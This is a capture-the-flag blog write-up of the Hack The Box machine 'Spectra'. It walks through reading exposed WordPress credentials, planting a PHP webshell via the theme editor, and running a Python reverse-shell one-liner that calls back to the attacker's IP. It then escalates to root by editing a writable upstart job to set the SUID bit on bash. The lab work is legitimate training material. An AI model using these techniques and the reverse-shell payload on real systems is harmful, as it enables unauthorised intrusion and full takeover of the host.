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Hack The Box - Spectra

Posted Jun 27, 2021
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By Ankit Kanojiya
8 min read

Spectra is an easy rated machine on HackTheBox created by egre55. For the user part we will exploit a test installation of worpress with directory listing enabled to log into the production wordpress installation. Once we are in worpress we will edit a php file with the template editor to obtain RCE and a reverse shell. On the machine we spot an unusual passwd file in /etc/autologin, which contains the password for the user katie. Finally for the root part we will abuse sudo permissions on initctl and a writeable config file.

User

Nmap

As usual we start our enumeration of with a nmap scan against all open ports, followed by a script and version detection scan against the open ones to capture the full attack surface.

All ports

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$ sudo nmap -p- -T4  10.129.93.40 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 09:06 GMT
Nmap scan report for 10.129.93.40
Host is up (0.13s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 62.23 second

Script and Version

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$ sudo nmap -sC -sV -p 22,80,3306 10.129.93.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 09:10 GMT
Nmap scan report for 10.129.93.40
Host is up (0.033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.00 seconds

File exposure

There are only 3 ports open and port 80 looks the most promising so we will start our enumeration there. Opening it up in the browser of our choice we see a Software Issue Tracker and a Test page linked.

home.png

Going over to the Software Issure Tracker we see a wordpress installation and find a username Administrator.

wordpress_home.png

On test we recieve an error stating that the connection to the database failed.

test_page.png

The interesting thing is if we donโ€™t follow the link to index.php, but rather just list the root with /, we can see that directory listing is enabled and it reveals another worpress installation.

listing.png

There is also a wp-config.php.save which we can download using curl or wget. The wp-config.php file usually stores the database credentials for a wordpress installation so it is often a good target.

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$ curl http://spectra.htb/testing/wp-config.php.save
...[snip]...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */                                                                         
define( 'DB_NAME', 'dev' );
                                                           
/** MySQL database username */                                                                                        
define( 'DB_USER', 'devtest' );
                                                           
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );            

/** MySQL hostname */                           
define( 'DB_HOST', 'localhost' );
                                                           
/** Database Charset to use in creating database tables. */ 
define( 'DB_CHARSET', 'utf8' );
                                                           
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );    
...[snip]...

Worpress template

Using the password for the database and the earlier identified username we are now able to log into wordpress as the administrator user.

wp_auth.png

wp_dashboard.png

What generally works for wordpress once you have access as a user that is allowd to modify themes, is to exchange one of the templates for a php webshell. For this we nagivate to Appearance => Theme Editor. There we can select any theme we like but have to keep in mind the name of the theme later for the file location of our webshell. In our case we modify the 404.php template of the TwentySeventeen Theme for a small php webshell.

404_template.png

After updating the file we naviagte to itโ€™s location and confirm our RCE.

RCE.png

With our PoC working we can now get a reverseshell on the target machine. To do this we first set up our listener on the port we want to recieve the shell on.

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$nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

We intercept the webshell request with burp send it to repeater and change the request method. Then we send this python reverse shell to the target using our tun0 ip.

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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",7575));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

burp_revshell.png

We get almost an instant callback from the target, upgrade our shell and fix the terminal size.

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$nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.93.40.
Ncat: Connection from 10.129.93.40:37564.
<ginx/html/main/wp-content/themes/twentyseventeen $ python -c 'import pty;pty.spawn("/bin/bash")'
<themes/twentyseventeen $ python -c 'import pty;pty.spawn("/bin/bash")'      
<ginx/html/main/wp-content/themes/twentyseventeen $ export TERM=xterm
export TERM=xterm
 $ ^Z@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen 
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

 $ stty rows 55 cols 236/share/nginx/html/main/wp-content/themes/twentyseventeen 
nginx@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen $

Looking around there is a strange non default folder with an unusual file in /etc. Reading it, it seems to be a password and we only have 2 other users root included.

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nginx@spectra /usr/local/share/nginx/html/main/wp-content/themes/twentyseventeen $ cat /etc/autologin/passwd 
SummerHereWeCome!!

Trying the password for katie over ssh we are successfull and can grab the user flag.

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$ ssh katie@spectra.htb
The authenticity of host 'spectra.htb (10.129.93.40)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'spectra.htb,10.129.93.40' (RSA) to the list of known hosts.
Password: 
katie@spectra ~ $ ls
log  user.txt
katie@spectra ~ $ wc -c user.txt 
33 user.txt
katie@spectra ~ $

Root

Initctl

Checking sudo permissions for katie we are able to run /sbin/initctl as root on the machine. This means we are able to start and stop jobs in the /etc/init directory.

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katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

Checking the directory we see that most files arenโ€™t writeable by us, but 11 odd looking test files are owned by the developers group which gives us write-access since we are in the same group.

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katie@spectra ~ $ ls -la /etc/init
total 768
drwxr-xr-x  2 root root       12288 Feb  3 16:46 .
drwxr-xr-x 63 root root        4096 Feb 11 23:12 ..
-rw-r--r--  1 root root         358 Dec 22  2020 activate_date.conf
...[snip]...
-rw-rw----  1 root developers   478 Jun 29  2020 test.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test1.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test10.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test2.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test3.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test4.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test5.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test6.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test7.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test8.conf
-rw-rw----  1 root developers   478 Jun 29  2020 test9.conf 
...[snip]...

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katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)

Exploiting the sudo permissions on this with file write is trivial. The only thing we have to do is to add our code we want to run as root at the top of the script block in the job configuration file.

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katie@spectra ~ $ vi /etc/init/test.conf

We will in this case choose to give bash the suid bit on starting the job.

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description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script
	chmod +s /bin/bash
    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

Now we run the job with sudo permissions.

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katie@spectra ~ $ sudo /sbin/initctl start test          
test start/running, process 7364

Looking at bash, it has now the suid bit set and we can easily drop into a rootshell and collect the flag.

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katie@spectra ~ $ ls -la /bin/bash
-rwsr-sr-x 1 root root 551984 Dec 22  2020 /bin/bash
katie@spectra ~ $ /bin/bash -p
bash-4.3# wc -c /root/root.txt 
33 /root/root.txt
bash-4.3#
HackTheBox
chrome os easy file access worpress php autologon initctl jobs
This post is licensed under CC BY 4.0 by the author.
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